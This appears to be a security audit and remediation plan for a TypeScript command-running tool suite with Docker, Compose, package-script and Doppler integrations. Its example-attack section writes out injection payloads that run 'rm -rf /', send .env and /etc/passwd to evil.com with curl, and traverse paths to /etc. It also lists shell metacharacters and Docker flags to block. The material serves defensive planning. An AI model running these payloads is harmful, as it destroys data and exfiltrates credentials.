- Location:
src/execution.ts:19-Bun.spawn()executes arbitrary commands - Risk: All tools use
executeCommand()which can run any shell command - Impact: Code injection, privilege escalation, system compromise
- Location:
src/docker-tools.ts:60-67-docker execwith arbitrary commands - Risk: Interactive shell access to containers with minimal validation
- Impact: Container escape, lateral movement, data exfiltration
- Location:
src/compose-tools.ts:58-76- Composeexecallows arbitrary commands - Risk: Service takeover through command injection
- Impact: Production service compromise
- Location:
src/package-tools.ts:34- Executes any script from package.json - Risk: Malicious scripts in compromised dependencies
- Impact: Supply chain attacks, credential theft
- Location:
src/doppler.ts:155- Auto-wraps commands with sensitive env vars - Risk: Credential exposure in command logs/output
- Impact: Secret leakage, unauthorized access
# Docker exec with malicious arguments
kit_docker { action: "exec", container: "app", args: ["; rm -rf /", "&&", "curl", "evil.com"] }
# Package script with injection
kit { script: "build; curl -X POST evil.com --data-binary @.env" }
# Docker build with malicious tag
kit_docker { action: "build", tag: "app; curl evil.com/exfiltrate --data-binary @/etc/passwd" }# Compose file manipulation
kit_compose { action: "up", file: "../../../etc/passwd" }
# Working directory escape
kit { script: "test", cwd: "/etc" }# No memory/CPU limits on spawned processes
# No concurrent execution limits
# Timeout bypassing through nested commands- File:
src/security-validation.ts(new) - Purpose: Input sanitization and validation
- Implementation:
- Whitelist allowed characters in arguments
- Block shell metacharacters (
;,&&,||,|,>,<,$(), backticks) - Validate file paths against directory traversal
- Size limits on arguments (prevent buffer overflow)
- File:
src/security-guardrails.ts(new) - Purpose: Block/restrict high-risk operations
- Implementation:
- Blacklist dangerous Docker commands:
--privileged,--security-opt, volume mounts to sensitive paths - Require confirmation for destructive operations:
rm,down,stop - Read-only mode enforcement for non-trusted contexts
- Resource limits: memory, CPU, execution time
- Blacklist dangerous Docker commands:
- File:
src/docker-security.ts(new) - Purpose: Docker-specific security measures
- Implementation:
- Container capability restrictions
- Network isolation validation
- Volume mount path validation (no sensitive system paths)
- User namespace checks
- File:
src/permissions.ts(new) - Purpose: Role-based access control
- Implementation:
- Context-based permissions (dev vs prod)
- Operation categorization (read/write/admin)
- User consent for privileged operations
- File:
src/audit-logger.ts(new) - Purpose: Security event tracking
- Implementation:
- Command execution logging
- Failed operation tracking
- Security violation alerts
- File:
src/environment-security.ts(new) - Purpose: Environment variable protection
- Implementation:
- Doppler secret masking in logs
- Environment variable filtering
- Secure credential handling
- Container-based isolation for command execution
- chroot/jail for file system operations
- Network namespace isolation
- Command pattern analysis
- Vulnerability scanning for Docker images
- Package.json dependency security checks
- Docker exec command injection -
src/docker-tools.ts:60-67 - Compose exec command injection -
src/compose-tools.ts:68-73 - Package script arbitrary execution -
src/package-tools.ts:34 - Unvalidated file path handling - All tools using
args.cwd - Doppler credential exposure -
src/doppler.ts:155
- Add argument length limits
- Block shell metacharacters in user inputs
- Validate file paths for directory traversal
- Add destructive operation warnings
- Implement basic logging for security events
| Vulnerability | Likelihood | Impact | Risk Level | Priority |
|---|---|---|---|---|
| Command Injection | High | Critical | CRITICAL | P0 |
| Container Escape | Medium | Critical | HIGH | P0 |
| Path Traversal | High | High | HIGH | P0 |
| Credential Exposure | Medium | High | HIGH | P1 |
| Resource Exhaustion | High | Medium | MEDIUM | P1 |
| Supply Chain Attack | Low | Critical | MEDIUM | P2 |
- All user inputs are sanitized
- Dangerous operations require confirmation
- Docker operations have capability restrictions
- Path traversal attacks are blocked
- Security test suite passes (100+ tests)
- Comprehensive permission model implemented
- All operations logged and auditable
- Sandboxing prevents system compromise
- Static analysis catches malicious patterns
- Security documentation complete for users
- Start with input sanitization - Foundation for all other security
- Implement Docker security controls - Highest risk area
- Add comprehensive testing - Validate security measures work
- Create security documentation - Guide users on safe usage
- Plan gradual rollout - Avoid breaking existing workflows
This document should be updated as security measures are implemented and new threats are identified.